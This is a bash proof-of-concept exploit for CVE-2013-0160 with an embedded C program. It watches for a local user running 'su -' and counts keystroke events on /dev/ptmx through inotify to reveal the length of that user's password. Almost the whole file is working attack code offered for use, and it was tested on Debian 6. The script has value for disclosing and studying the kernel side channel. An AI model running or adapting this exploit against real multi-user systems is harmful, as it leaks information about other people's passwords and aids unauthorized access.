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#!/bin/bash
# ptmx-su-pwdlen.sh -- This PoC determine the password length of a local
# user who runs "su -". Done thanks to the ptmx keystroke timing attack
# (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for
# more information.
#
# Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).
#
# "THE BEER-WARE LICENSE" (Revision 42):
# <vladz@devzero.fr> wrote this file. As long as you retain this notice
# you can do whatever you want with this stuff. If we meet some day, and
# you think this stuff is worth it, you can buy me a beer in return. -V.
if ps -e -o cmd= | egrep -q "^(-|^)su"; then
echo "[-] Kill/close all running \"su\" session before using this PoC"
exit 1
fi
exe=$(mktemp) || exit 1
tmp=$(mktemp) || exit 1
cat > ${exe}.c << _EOF_
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/inotify.h>
static int count = 0;
void display_result() {
printf("[+] password len is %d\n", count-1);
_exit(0);
}
int main() {
int fd;
char buf[1024];
signal(SIGINT, display_result);
fd = inotify_init();
inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);
while(read(fd, buf, 1024)) count++;
return 0;
}
_EOF_
cc -o ${exe}{,.c}
echo "[*] Wait for someone to run \"su -\""
while true; do
ps -e -o cmd= | egrep "^(-|^)su" >${tmp}
x=$(wc -l ${tmp})
case ${x% *} in
1) (( run )) && continue;
echo -n "[+] su detected, full command: "
cat ${tmp}; ${exe} &
(( run = 1 )) ;;
2) [ ! -z "$!" ] && kill -2 $!; break ;;
esac
done
rm -f ${exe}{,.c} ${tmp}
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